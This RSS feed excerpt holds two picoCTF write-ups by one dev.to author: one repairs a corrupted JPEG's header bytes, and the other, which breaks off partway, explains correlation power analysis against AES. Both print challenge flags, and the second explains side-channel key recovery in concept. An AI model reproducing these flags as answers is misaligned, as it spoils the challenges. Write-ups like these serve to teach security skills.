      <pubDate>Sat, 06 Jun 2026 16:56:12 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-writeup-corrupted-file-picoctf-2k7b</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-writeup-corrupted-file-picoctf-2k7b</guid>
      <description>&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;br&gt;
&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;picoCTF{r3st0r1ng_th3_by73s_939a65f5}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  My First Impression
&lt;/h2&gt;

&lt;p&gt;So I came across this challenge called &lt;strong&gt;"Corrupted File"&lt;/strong&gt; and honestly the description was pretty straightforward — &lt;em&gt;"This file seems broken... or is it? Maybe a couple of bytes could make all the difference."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The hint mentioned JPEG and tools like &lt;code&gt;xxd&lt;/code&gt; or &lt;code&gt;hexdump&lt;/code&gt;. That was enough for me to get started. I downloaded the file and immediately noticed it had no extension, which is pretty common in CTF challenges. They want you to figure out what the file actually is.&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 1 — Downloading the File
&lt;/h2&gt;

&lt;p&gt;First things first, I grabbed the file using wget:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://challenge-files.picoctf.net/c_amiable_citadel/8646393bf40c0026e51065e57963b604edf0a9a73371e01d1af2865c050d3e68/file &lt;span class="nt"&gt;-O&lt;/span&gt; corrupted_file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The download went fine. Got an 8.56KB file saved as &lt;code&gt;corrupted_file&lt;/code&gt;. Nothing special yet.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2 — Peeking at the Header
&lt;/h2&gt;

&lt;p&gt;This is where things got interesting. The hint literally said to check the file header, so I used &lt;code&gt;xxd&lt;/code&gt; to look at the first 16 bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;xxd &lt;span class="nt"&gt;-l&lt;/span&gt; 16 corrupted_file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000: 5c78 ffe0 0010 4a46 4946 0001 0100 0001  \x....JFIF......
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Okay so I immediately spotted something wrong. Let me break this down simply:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Every JPEG file in existence starts with the magic bytes &lt;strong&gt;&lt;code&gt;FF D8&lt;/code&gt;&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;But this file started with &lt;strong&gt;&lt;code&gt;5C 78&lt;/code&gt;&lt;/strong&gt; which translates to &lt;code&gt;\x&lt;/code&gt; in ASCII&lt;/li&gt;
&lt;li&gt;Everything after those first two bytes looked perfectly normal — you can even see &lt;code&gt;JFIF&lt;/code&gt; sitting right there which is a dead giveaway that this is supposed to be a JPEG&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So basically someone (or something) replaced the first two bytes of the file with garbage. That's the entire corruption — just two bytes out of place.&lt;/p&gt;




&lt;h2&gt;
  
  
  A Quick Explanation of Magic Bytes
&lt;/h2&gt;

&lt;p&gt;If you're new to this concept, here's a simple way to think about it:&lt;/p&gt;

&lt;p&gt;Every file format has a kind of &lt;strong&gt;"secret handshake"&lt;/strong&gt; stored at the very beginning of the file. Your operating system and applications read these first few bytes to figure out what type of file they're dealing with — before even looking at the file extension.&lt;/p&gt;

&lt;p&gt;For JPEG files specifically, the first two bytes are always &lt;code&gt;FF D8&lt;/code&gt;. This is called the &lt;strong&gt;SOI (Start of Image)&lt;/strong&gt; marker. If those bytes are wrong, your image viewer will just say "I don't know what this is" and refuse to open it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 3 — Fixing the Corruption
&lt;/h2&gt;

&lt;p&gt;Now that I knew exactly what needed fixing, the repair was simple. I used &lt;code&gt;dd&lt;/code&gt; combined with &lt;code&gt;printf&lt;/code&gt; to overwrite just those two broken bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'\xff\xd8'&lt;/span&gt; | &lt;span class="nb"&gt;dd &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;corrupted_file &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 &lt;span class="nv"&gt;seek&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2 &lt;span class="nv"&gt;conv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;notrunc
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let me explain what each part does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;printf '\xff\xd8'&lt;/code&gt; — creates the correct JPEG magic bytes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dd of=corrupted_file&lt;/code&gt; — writes to our file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;bs=1&lt;/code&gt; — work one byte at a time&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;seek=0&lt;/code&gt; — start at the very beginning of the file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;count=2&lt;/code&gt; — only write 2 bytes&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;conv=notrunc&lt;/code&gt; — &lt;strong&gt;this is important&lt;/strong&gt; — it means don't delete the rest of the file, just overwrite those specific bytes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Output confirmed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;2+0 records in
2+0 records out
2 bytes copied, 5.1539e-05 s, 38.8 kB/s
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 4 — Verifying the Fix
&lt;/h2&gt;

&lt;p&gt;Before doing anything else I wanted to make sure the fix actually worked. So I ran:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file corrupted_file &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; xxd &lt;span class="nt"&gt;-l&lt;/span&gt; 16 corrupted_file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;corrupted_file: JPEG image data, JFIF standard 1.01, aspect ratio, 
density 1x1, segment length 16, baseline, precision 8, 800x500, components 3

00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first two bytes are now &lt;code&gt;FF D8&lt;/code&gt; — exactly what they should be. The &lt;code&gt;file&lt;/code&gt; command is now correctly identifying it as a JPEG image with dimensions 800x500. The repair worked perfectly.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 — Looking for Hidden Stuff
&lt;/h2&gt;

&lt;p&gt;At this point the file looked fine, but in CTF challenges you never just assume. I did a few extra checks to make sure there wasn't anything hidden inside:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Checking for readable strings:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strings corrupted_file | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s2"&gt;"flag|picoCTF|CTF"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No output. The flag wasn't hidden as plain text.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Checking the end of the file:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 16 corrupted_file | xxd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;00000000: 8a00 28a2 8a00 28a2 8a00 28a2 8a00 ffd9  ..(...(...(.....
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;File ends with &lt;code&gt;FF D9&lt;/code&gt; which is the JPEG &lt;strong&gt;EOI (End of Image)&lt;/strong&gt; marker. Clean ending, nothing appended after it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Checking for embedded files:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;binwalk corrupted_file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Just a single JPEG. No hidden zips, no embedded files, nothing sneaky.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Checking metadata:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;exiftool corrupted_file
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This showed normal image metadata — dimensions, color space, encoding. Nothing hidden there either.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 6 — Getting the Flag
&lt;/h2&gt;

&lt;p&gt;With the file fully repaired and verified, I opened it as an image using Python and OCR:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;corrupted_file flag.jpg &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
from PIL import Image
import pytesseract
img = Image.open('flag.jpg')
text = pytesseract.image_to_string(img)
print(text)
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And there it was, printed right on the image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{r3st0r1ng_th3_by73s_939a65f5}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  What I Learned From This
&lt;/h2&gt;

&lt;p&gt;This challenge was a great introduction to &lt;strong&gt;file forensics&lt;/strong&gt; and the concept of magic bytes. Here are the main takeaways:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Never trust the file extension&lt;/strong&gt;&lt;br&gt;
Always check the actual bytes of a file. Extensions can be changed or missing entirely. The content of the file tells the real story.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. xxd is your best friend&lt;/strong&gt;&lt;br&gt;
Learning to read hex dumps is a genuinely useful skill. Once you know the magic bytes of common formats (JPEG, PNG, PDF, ZIP etc.), you can diagnose corruption very quickly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Surgical edits with dd&lt;/strong&gt;&lt;br&gt;
You don't need a fancy hex editor to fix a file. The &lt;code&gt;dd&lt;/code&gt; command lets you overwrite specific bytes at specific offsets without touching anything else. Very powerful tool.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Always do extra checks&lt;/strong&gt;&lt;br&gt;
Even when a fix seems obvious, always verify it worked and check for anything else that might be hiding in the file. &lt;code&gt;binwalk&lt;/code&gt;, &lt;code&gt;strings&lt;/code&gt;, and &lt;code&gt;exiftool&lt;/code&gt; are quick to run and can save you a lot of time.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference — Common Magic Bytes
&lt;/h2&gt;

&lt;p&gt;Since this challenge is all about file signatures, here's a handy reference:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File Type&lt;/th&gt;
&lt;th&gt;Magic Bytes (Hex)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;JPEG&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FF D8 FF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PNG&lt;/td&gt;
&lt;td&gt;&lt;code&gt;89 50 4E 47&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;&lt;code&gt;25 50 44 46&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZIP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;50 4B 03 04&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GIF&lt;/td&gt;
&lt;td&gt;&lt;code&gt;47 49 46 38&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ELF (Linux binary)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7F 45 4C 46&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Tools Used
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;wget&lt;/code&gt; — downloading the file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;xxd&lt;/code&gt; — hex inspection&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dd&lt;/code&gt; + &lt;code&gt;printf&lt;/code&gt; — binary patching&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;file&lt;/code&gt; — file type identification&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;strings&lt;/code&gt; — plaintext extraction&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;binwalk&lt;/code&gt; — embedded file detection&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exiftool&lt;/code&gt; — metadata analysis&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pytesseract&lt;/code&gt; — OCR to read the flag from the image&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;This was a fun and clean challenge. Two broken bytes, one quick fix, flag retrieved. If you're just getting into forensics CTF challenges, this is honestly a perfect starting point.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>CTF Lab Writeup: PowerAnalysis Part 2 (picoCTF)</title>
      <dc:creator>Vedant Kulkarni</dc:creator>
      <pubDate>Thu, 04 Jun 2026 07:37:18 +0000</pubDate>
      <link>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-poweranalysis-part-2-picoctf-1a5l</link>
      <guid>https://dev.to/vedant_kulkarni_e1a6cdf3c/ctf-lab-writeup-poweranalysis-part-2-picoctf-1a5l</guid>
      <description>&lt;h2&gt;
  
  
  1. Executive Summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Challenge Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;PowerAnalysis: Part 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Platform&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;picoCTF&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Category&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cryptography / Side-Channel Analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Difficulty&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Primary Technique&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Correlation Power Analysis (CPA)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tools Used&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Python 3, NumPy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Flag&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;picoCTF{b7698f76b7e524ee7cd80dbde0cdff59}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  What Was This Challenge About?
&lt;/h3&gt;

&lt;p&gt;This challenge placed us in the role of a hardware security researcher attacking a physical embedded system. The system was running &lt;strong&gt;AES-128 encryption&lt;/strong&gt; — one of the most mathematically unbreakable symmetric encryption algorithms in existence. You could encrypt a trillion plaintexts with a trillion computers and never brute-force the key through mathematics alone.&lt;/p&gt;

&lt;p&gt;But here's the critical insight that makes this challenge fascinating: &lt;strong&gt;we didn't attack the math. We attacked the physics.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The device leaked information about its secret key through its &lt;em&gt;power consumption&lt;/em&gt; while it computed. By carefully measuring how much electricity the CPU drew at precise moments and applying statistics, we recovered all 16 bytes of the secret key. This is called a &lt;strong&gt;Side-Channel Attack&lt;/strong&gt;, and it is one of the most powerful and practically relevant attack classes in modern cryptography.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Reconnaissance &amp;amp; Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 Understanding What We Were Given
&lt;/h3&gt;

&lt;p&gt;Before writing a single line of code, we needed to understand the shape of our data. This is the reconnaissance phase of a side-channel attack — analogous to running &lt;code&gt;nmap&lt;/code&gt; before exploiting a web server.&lt;/p&gt;

&lt;p&gt;We started by downloading and extracting the archive:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget https://artifacts.picoctf.net/c/319/traces.zip &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; unzip traces.zip &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down this command:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;wget &amp;lt;url&amp;gt;&lt;/code&gt; — Downloads the file from the remote server. We used &lt;code&gt;wget&lt;/code&gt; over &lt;code&gt;curl&lt;/code&gt; here because &lt;code&gt;wget&lt;/code&gt; automatically saves to disk by default, which is cleaner for binary files like &lt;code&gt;.zip&lt;/code&gt; archives.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;unzip traces.zip&lt;/code&gt; — Extracts the archive. No special flags needed since there is no password and we want the default behavior (extract to current directory).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ls -R&lt;/code&gt; — Lists files &lt;strong&gt;recursively&lt;/strong&gt; (&lt;code&gt;-R&lt;/code&gt;), so we can see the contents of the newly extracted &lt;code&gt;traces/&lt;/code&gt; subdirectory in one command.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What we found:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;./traces:
trace00.txt  trace01.txt  ...  trace99.txt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;100 text files. That's our dataset. Now we needed to know what was &lt;em&gt;inside&lt;/em&gt; them.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.2 Inspecting the Trace Format
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-5&lt;/span&gt; traces/trace00.txt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"---"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt; traces/trace00.txt &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"---"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'NR==1{print NF, "fields on line 1"}'&lt;/span&gt; traces/trace00.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down this command:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;head -5&lt;/code&gt; — Shows the first 5 lines. We used 5 rather than the full file because power trace files can be enormous. We only need to see the structure, not all the data.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; — Chains commands, executing the next only if the previous succeeded. This is safer than using &lt;code&gt;;&lt;/code&gt; which runs regardless of success.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;echo "---"&lt;/code&gt; — A visual separator. Small habit, big readability improvement.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;wc -l&lt;/code&gt; — Counts the number of &lt;strong&gt;lines&lt;/strong&gt; in the file (&lt;code&gt;-l&lt;/code&gt;). This tells us if data is stored row-by-row or as one large blob.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;awk 'NR==1{print NF}'&lt;/code&gt; — &lt;code&gt;NR==1&lt;/code&gt; means "on the first record (line)", &lt;code&gt;NF&lt;/code&gt; prints the &lt;strong&gt;number of fields&lt;/strong&gt; (space-delimited columns). This told us if the first line had multiple values or just one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;What we learned:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Plaintext: bdb5cd7a1014d46ed2fa6bc60f166df9
Power trace: [51, 66, 81, 84, 91, ...]
---
2 lines total
---
2 fields on line 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each file has &lt;strong&gt;exactly 2 lines:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Line 1:&lt;/strong&gt; &lt;code&gt;Plaintext: &amp;lt;32 hex characters&amp;gt;&lt;/code&gt; — the 16-byte input to the AES encryption&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Line 2:&lt;/strong&gt; &lt;code&gt;Power trace: [int, int, int, ...]&lt;/code&gt; — the power consumption over time, measured in arbitrary units&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why does this structure matter?&lt;/strong&gt; In CPA, we need two things for every encryption: the &lt;em&gt;known&lt;/em&gt; plaintext (so we can make hypotheses about the internal key operations) and the &lt;em&gt;measured&lt;/em&gt; power trace (the physical side-channel evidence). This file gives us both, paired together.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.3 Verifying Data Integrity and Alignment
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import re, glob
lengths = []
for fn in sorted(glob.glob('traces/trace*.txt')):
    with open(fn) as f:
        lines = f.readlines()
    trace = list(map(int, re.findall(r'&lt;/span&gt;&lt;span class="se"&gt;\d&lt;/span&gt;&lt;span class="s2"&gt;+', lines[1])))
    lengths.append(len(trace))
print('Trace files:', len(lengths))
print('Min length:', min(lengths))
print('Max length:', max(lengths))
"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why this step was critical:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CPA works by computing &lt;strong&gt;column-wise statistics&lt;/strong&gt; across all traces. This means trace sample #437 from &lt;code&gt;trace00.txt&lt;/code&gt; is compared against sample #437 from all other traces. If traces had different lengths, our matrix math would fail. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; All 100 traces had exactly &lt;strong&gt;2666 samples&lt;/strong&gt;. Perfect alignment confirmed. We could proceed directly to the attack without any preprocessing.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;Common Rabbit Hole:&lt;/strong&gt; Beginners sometimes jump straight into writing attack code without verifying data integrity. If even one trace had a different length or was corrupted, the entire NumPy matrix operation would either crash or — worse — produce silently wrong results.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. The Exploit: Correlation Power Analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Conceptual Foundation — &lt;em&gt;Why Does Hardware Leak Secrets?&lt;/em&gt;
&lt;/h3&gt;

&lt;p&gt;Before we write a single line of attack code, we must understand &lt;em&gt;why this attack is even possible.&lt;/em&gt; This is the most important conceptual leap in the entire writeup.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Physics of CMOS Transistors:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Modern CPUs are built from billions of CMOS (Complementary Metal-Oxide-Semiconductor) transistors. These transistors switch between logical &lt;code&gt;0&lt;/code&gt; and &lt;code&gt;1&lt;/code&gt; states. A critical property of this technology: &lt;strong&gt;transistors consume significantly more power when their output transitions from 0→1 or 1→0&lt;/strong&gt; than when they hold a stable state.&lt;/p&gt;

&lt;p&gt;This means the instantaneous power draw of a CPU is &lt;strong&gt;correlated with how many bits are changing&lt;/strong&gt; in the data it is processing at that moment. Specifically, the power consumption correlates with the &lt;strong&gt;Hamming Weight&lt;/strong&gt; — the number of &lt;code&gt;1&lt;/code&gt; bits — of the intermediate values being computed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data value 0x00 = 00000000 → HW = 0 → Low power draw
Data value 0xFF = 11111111 → HW = 8 → High power draw
Data value 0x0F = 00001111 → HW = 4 → Medium power draw
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The AES S-Box Connection:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AES encryption begins its first round with a step called &lt;strong&gt;SubBytes&lt;/strong&gt;, where each byte of the plaintext XORed with the key is passed through a fixed lookup table called the &lt;strong&gt;S-Box&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;S-Box output = SBOX[ Plaintext_byte XOR Key_byte ]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The CPU computes this S-Box lookup for all 16 key bytes right at the start of encryption. If we can observe the power consumption &lt;em&gt;at the exact moment&lt;/em&gt; the CPU processes each S-Box output, and if that power consumption correlates with the Hamming Weight of the S-Box output, then we can work backwards to find the key.&lt;/p&gt;




&lt;h3&gt;
  
  
  3.2 The CPA Attack Strategy
&lt;/h3&gt;

&lt;p&gt;Here's the attack logic for &lt;strong&gt;one key byte&lt;/strong&gt; (we repeat it 16 times):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
